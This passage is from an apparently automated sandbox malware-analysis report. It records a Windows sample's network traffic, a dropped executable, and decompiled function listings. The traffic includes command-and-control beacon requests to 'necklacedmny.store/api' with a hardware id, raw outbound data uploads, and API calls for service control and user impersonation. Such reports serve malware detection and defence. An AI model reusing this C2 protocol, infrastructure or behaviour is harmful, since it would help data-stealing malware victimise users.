b6 97 51 8b 41 e2 c6 c4 a3 b5 0e 56 c1 f4 b2 f2 2b ed a4 bc fa 53 59 28 06 91 38 2c e0 1f da ab 3c 9e f6 fe 29 6f fb 55 b4 dc Data Ascii: V*sleM'd[g3$#H?737Db IZ83oL<"%I\|}>S8}qLW,KJr}<.1o~ws)h%n>/hH-7!l7Zgs;P5}{jpMbFqqOQAV+SY(8,<)oU
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 02 ef e1 be 25 cc 2a e2 47 09 92 60 fd 52 0e 03 b1 fb 50 43 59 02 10 45 70 f7 be 3f fb fa b4 5a 56 46 80 60 e3 b2 e5 ef c8 b1 f6 7b 20 99 a4 d6 b6 1c 15 9a 4f 41 dc f8 0b eb ce b9 ce 8b 35 74 ad 90 20 9b 46 59 af 1b 4b c7 c5 d2 dc 14 4e 8b 2c 08 cf 09 a3 46 b1 99 b1 7a 5e 7c e3 ce 79 be 04 87 a8 80 3b c4 e1 fa a0 ef 1a b9 e4 c3 1f 84 e6 a9 b6 ff f5 e6 2c 3a b7 09 db 34 b9 dc 97 2d 7c ce a8 d7 e6 94 c6 02 f5 a1 83 30 37 cf fe 61 59 f7 e4 a0 89 53 b8 06 39 03 89 70 ca 10 41 89 ee d8 7d 09 2e 4f d9 43 44 45 f8 af 8f a4 01 2b 77 60 bf 8f 3c 27 52 f9 12 b5 7d 1e a8 6b 6d 2f e8 88 a9 72 15 f4 d6 be 08 f9 09 e6 7e c6 8f e3 0c 1b 8b 42 89 bb 1d db 92 97 ab 4f 42 d8 ec 1a 0a 7b 36 ba 5d 55 2e e4 f5 e3 70 9b 37 2c b7 86 56 41 1b 6c 33 33 f0 15 41 3e 2a 0c 93 5d 17 Data Ascii: %G`RPCYEp?ZVF`{ OA5t FYKN,Fz^\|y;,:4-\|07aYS9pA}.OCDE+w`<'R}km/r~BOB{6]U.p7,VAl33A>]
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 1f f8 4d db b6 82 18 4b bd 90 58 19 f6 cc e5 e3 6d 74 04 9c 78 6e 90 5e af 00 18 c1 44 f2 3e d0 73 90 f8 01 50 ca 0d c9 e1 69 78 f5 72 9e 1c 3c 28 b9 cf 63 fb 1a b7 f5 f2 79 c5 4b 0f b5 44 ca f8 47 5f 74 20 12 bc 7e 63 5e 88 a6 a9 2c 73 36 fc 6c 00 29 df 81 c1 25 51 17 16 c9 d3 5b d6 b0 39 68 0e ad 2f 75 07 99 da 40 05 98 94 61 5b 8c b1 20 40 22 13 0d a3 a8 7f 69 66 02 92 51 ed 25 65 a9 07 ca 0b b9 35 77 4c 59 32 24 62 22 1c a6 bc 4a 0f 23 f1 61 4f 1c 4d 8e 51 ec 1d c0 44 2e 0b 09 d2 e5 0e e9 3b 46 c2 10 3b 7c ed 81 3a a6 50 16 68 b5 34 d0 ac bf 91 3d 66 8a 93 8e 67 65 d4 f0 88 f1 53 16 e2 de 1f 9b e2 03 cd 7e 75 35 ea 18 fc 5c 65 fd f2 23 86 70 9e 24 9a e0 cf bc 04 cc cd 88 23 04 d9 c8 a8 a3 56 d7 c0 71 dc ba cb 05 96 26 17 7e 85 50 a3 43 ed 57 ce ed a9 Data Ascii: MKXmtxn^D>sPixr<(cyKDG_t ~c^,s6l)%Q[9h/u@a[ @"ifQ%e5wLY2$b"J#aOMQD.;F;\|:Ph4=fgeS~u5\e#p$#Vq&~PCW
2024-10-28 19:50:21 UTC	1029	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=38g4fn192empii47tdaf3380tm; expires=Fri, 21 Feb 2025 13:37:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZcLcDu4PbUZ2oXnB34FOr6%2BQD%2B%2BkLoSdo9e2NkFRCQBXTj%2BWknI%2BcNCM2E2hNZA5fr9zO1tM%2BcyY%2F2P50kZCPWdHG021r9BhuVGFPYkhfPO3g0M4mdNAceMmwlUCZH81qc6toc0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d744658992d3e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2060&sent=221&recv=616&lost=0&retrans=0&sent_bytes=2845&recv_bytes=570957&delivery_rate=1345099&cwnd=251&unsent_bytes=0&cid=add3a36fef3180cb&ts=2024&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	52250	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:22 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-28 19:50:22 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 43 32 42 30 41 34 35 38 34 32 37 30 38 34 38 43 43 38 43 38 35 37 42 45 41 31 45 43 43 33 41 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5C2B0A4584270848CC8C857BEA1ECC3A
2024-10-28 19:50:22 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4r49q92s6gtn2db72sos24ffrp; expires=Fri, 21 Feb 2025 13:37:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7d6B9YeW7sCSEoxRqZHiz0LiMoUdWrbAhBMGVqaoQCwz%2BbF3yrRvsAhBJ%2BTtgV0pvRNa%2Bd0rOI9CYGK2OQ%2BEyzSS1thCNnMyDwkWhL4zazrj%2BxMIPR5tvtE8s7ynqm7pCW%2BGCb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d74572ebc2836-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1321&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2104651&cwnd=250&unsent_bytes=0&cid=cae846735ba4216f&ts=486&x=0"
2024-10-28 19:50:22 UTC	130	IN	Data Raw: 37 63 0d 0a 73 63 32 67 6c 6f 4a 63 6c 78 77 62 5a 37 4a 7a 77 4e 41 4f 39 30 7a 49 34 36 34 33 55 74 4b 49 58 52 76 7a 66 6a 54 7a 4e 50 66 71 74 6f 4c 6a 6f 47 61 31 64 47 38 54 77 6b 6d 63 2f 31 4c 59 66 66 44 57 67 41 56 6a 35 36 5a 73 4b 73 42 51 42 63 56 6f 32 4e 36 72 78 73 71 74 4f 50 4a 36 4e 51 4c 4b 46 75 4c 38 4c 4a 45 34 36 74 6d 65 47 33 43 33 71 6d 63 72 6a 69 4d 3d 0d 0a Data Ascii: 7csc2gloJclxwbZ7JzwNAO90zI4643UtKIXRvzfjTzNPfqtoLjoGa1dG8Twkmc/1LYffDWgAVj56ZsKsBQBcVo2N6rxsqtOPJ6NQLKFuL8LJE46tmeG3C3qmcrjiM=
2024-10-28 19:50:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:50:02
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb50000
File size:	2'990'080 bytes
MD5 hash:	ABE40C70FB0035E436B9F150EFC4DE93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:50:27
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe"
Imagebase:	0x8e0000
File size:	2'764'800 bytes
MD5 hash:	3B7C380FD62D7A3638990F8F056833B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 007E998E Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2309302252.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7d9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498ffa66f5ddd11b7aa66dc75fe88d83c6988dcd7cf8e210da5215e110cd1159
Instruction ID: b9e225776814cb5099e9e3284a7c564b5616cfdbce1d421978f9ae1fd39cb1e2
Opcode Fuzzy Hash: 498ffa66f5ddd11b7aa66dc75fe88d83c6988dcd7cf8e210da5215e110cd1159
Instruction Fuzzy Hash: 2B61866610A2D68FD3128F3894916C2BFA1FF9B32039D88EDC9C18F913D2696543C742

Function 007E998E Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2309302252.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7d9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498ffa66f5ddd11b7aa66dc75fe88d83c6988dcd7cf8e210da5215e110cd1159
Instruction ID: b9e225776814cb5099e9e3284a7c564b5616cfdbce1d421978f9ae1fd39cb1e2
Opcode Fuzzy Hash: 498ffa66f5ddd11b7aa66dc75fe88d83c6988dcd7cf8e210da5215e110cd1159
Instruction Fuzzy Hash: 2B61866610A2D68FD3128F3894916C2BFA1FF9B32039D88EDC9C18F913D2696543C742

Function 007E9B31 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2309302252.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7d9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11813c6b192024ebf70fd725c02c4130f4e0a488285b7073c3b8d69c8056af6b
Instruction ID: c1883a64a31f97228f01ee5376a85eb0e560a64a96ed0273119e6f57a92e3e2f
Opcode Fuzzy Hash: 11813c6b192024ebf70fd725c02c4130f4e0a488285b7073c3b8d69c8056af6b
Instruction Fuzzy Hash: 272101661092D58FC317CF38E5A4A92BFA1FE8B31639E41DCC9C18F427C2A6A542C752

Function 007E9B31 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2309302252.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7d9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11813c6b192024ebf70fd725c02c4130f4e0a488285b7073c3b8d69c8056af6b
Instruction ID: c1883a64a31f97228f01ee5376a85eb0e560a64a96ed0273119e6f57a92e3e2f
Opcode Fuzzy Hash: 11813c6b192024ebf70fd725c02c4130f4e0a488285b7073c3b8d69c8056af6b
Instruction Fuzzy Hash: 272101661092D58FC317CF38E5A4A92BFA1FE8B31639E41DCC9C18F427C2A6A542C752

Analysis Process: MMS43LFVAQOG1OXT3FFOALII.exePID: 5804, Parent PID: 4952COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	37.5%
Signature Coverage:	12.5%
Total number of Nodes:	24
Total number of Limit Nodes:	1

Executed Functions

Function 008EB7C2 Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!!iH, xrefs: 008EB932

Memory Dump Source

Source File: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 016a1602b49630db19079adc16f213438145fa2186c30fa2950edc0c1b1e1780
Instruction ID: 36349208d00af54f98ffbecfffcf66b5d7a71f92be9598a0d3629f41546b11fe
Opcode Fuzzy Hash: 016a1602b49630db19079adc16f213438145fa2186c30fa2950edc0c1b1e1780
Instruction Fuzzy Hash: 6EE0C2325488C98ECB66AFE9D801BAB7A1DFB42700F100134FE01CAF4BDB2D4D118756

Function 00A7C120 Relevance: 4.6, APIs: 3, Instructions: 87
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00A80826
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00A8084D
GetNativeSystemInfo.KERNELBASE(?), ref: 00A808A4

Memory Dump Source

Source File: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 7905b5a931c1a1911cf3d2b0de118c4d32c0606636cd1f95f4bd2cd5878d74c5
Instruction ID: 21d94ee8930cb89d808ba947f58a823178f485dd93b2630fb9b4313718244225
Opcode Fuzzy Hash: 7905b5a931c1a1911cf3d2b0de118c4d32c0606636cd1f95f4bd2cd5878d74c5
Instruction Fuzzy Hash: 01312AB251414E9FEF55EF60C848BEF3BA4EF05305F40442AE94686A40E7765CA8CF59

Function 04FD0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FD0DCD

Memory Dump Source

Source File: 00000003.00000002.2453105591.0000000004FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fd0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 31932674a5e7dadec92aca127f0b014ea51e59533064d60477fd9f70108f9a57
Instruction ID: 0acfb227b86b95530ab4fdbb050862f1ecf0c76694c981f22854a510b7272c23
Opcode Fuzzy Hash: 31932674a5e7dadec92aca127f0b014ea51e59533064d60477fd9f70108f9a57
Instruction Fuzzy Hash: A42138B6C002099FDB50DF99D885ADEFBF5EB88310F14821AD809AB204DB34A541CBA5

Function 04FD0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FD0DCD

Memory Dump Source

Source File: 00000003.00000002.2453105591.0000000004FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fd0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: f95b415a8f6cc2e4019185ccd60c433e162802890637c97651f8d0ee3f5def59
Instruction ID: b969a1adaf0a59c012ef0e37c0d59057dafa0f363bfddd9dc5a59620f1df3860
Opcode Fuzzy Hash: f95b415a8f6cc2e4019185ccd60c433e162802890637c97651f8d0ee3f5def59
Instruction Fuzzy Hash: 242127B6C012199FCB50CF9AD884ADEFBF5EF88310F14815AD809AB204DB34A545CBA5

Function 04FD1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FD1580

Memory Dump Source

Source File: 00000003.00000002.2453105591.0000000004FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fd0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 7b70a46e3061d24ac69f15c278f5e090af689746330a2136f1e17fc762693f7d
Instruction ID: 1fdff0fb641ff37f145c4639c00b271480a3ad4aaa2a7250b8afa46d156d9dd1
Opcode Fuzzy Hash: 7b70a46e3061d24ac69f15c278f5e090af689746330a2136f1e17fc762693f7d
Instruction Fuzzy Hash: E22129B1D002499FDB10CF9AC584BDEFBF4EB48320F148029E519A3350D378A945CFA5

Function 04FD1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FD1580

Memory Dump Source

Source File: 00000003.00000002.2453105591.0000000004FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fd0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: bc88f757054d9f326fbd131aac27ecaf410d4f787f802109c5e97bfae0f29156
Instruction ID: b622eeb44988867dc604661fc2abecfdedd53d146d135639c18dc88b0cd1aeeb
Opcode Fuzzy Hash: bc88f757054d9f326fbd131aac27ecaf410d4f787f802109c5e97bfae0f29156
Instruction Fuzzy Hash: FA11F6B1D002499FDB10CF9AC984BDEFBF4EB48320F148029E959A3250D378AA45CFA5

Function 04FD1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FD1367

Memory Dump Source

Source File: 00000003.00000002.2453105591.0000000004FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fd0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 80a9d55b7eda7a7dd644109586ce522ce2cf1082cc15a8f9a6bb983d4ffbade5
Instruction ID: ea2bd0799fa148e7c8cf3ef613b3b401ef533be546d5188673ce608f75838720
Opcode Fuzzy Hash: 80a9d55b7eda7a7dd644109586ce522ce2cf1082cc15a8f9a6bb983d4ffbade5
Instruction Fuzzy Hash: C81146B1C002498FDB10DF9AD585BDEFBF4EF48320F148419D458A3240D338A545CBA2

Function 04FD1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FD1367

Memory Dump Source

Source File: 00000003.00000002.2453105591.0000000004FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fd0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 73be635f09ef143d874fe4622db799ab22f45bf05979c1a68423dac1a73c7b96
Instruction ID: 2977dcddf9767e773521cdfd056382b8d86f95f39cdfe075cac8feef5711d958
Opcode Fuzzy Hash: 73be635f09ef143d874fe4622db799ab22f45bf05979c1a68423dac1a73c7b96
Instruction Fuzzy Hash: 141133B1C00249CFDB10CFAAC944BDEFBF8EB48320F24846AD558A3250C378A944CFA5

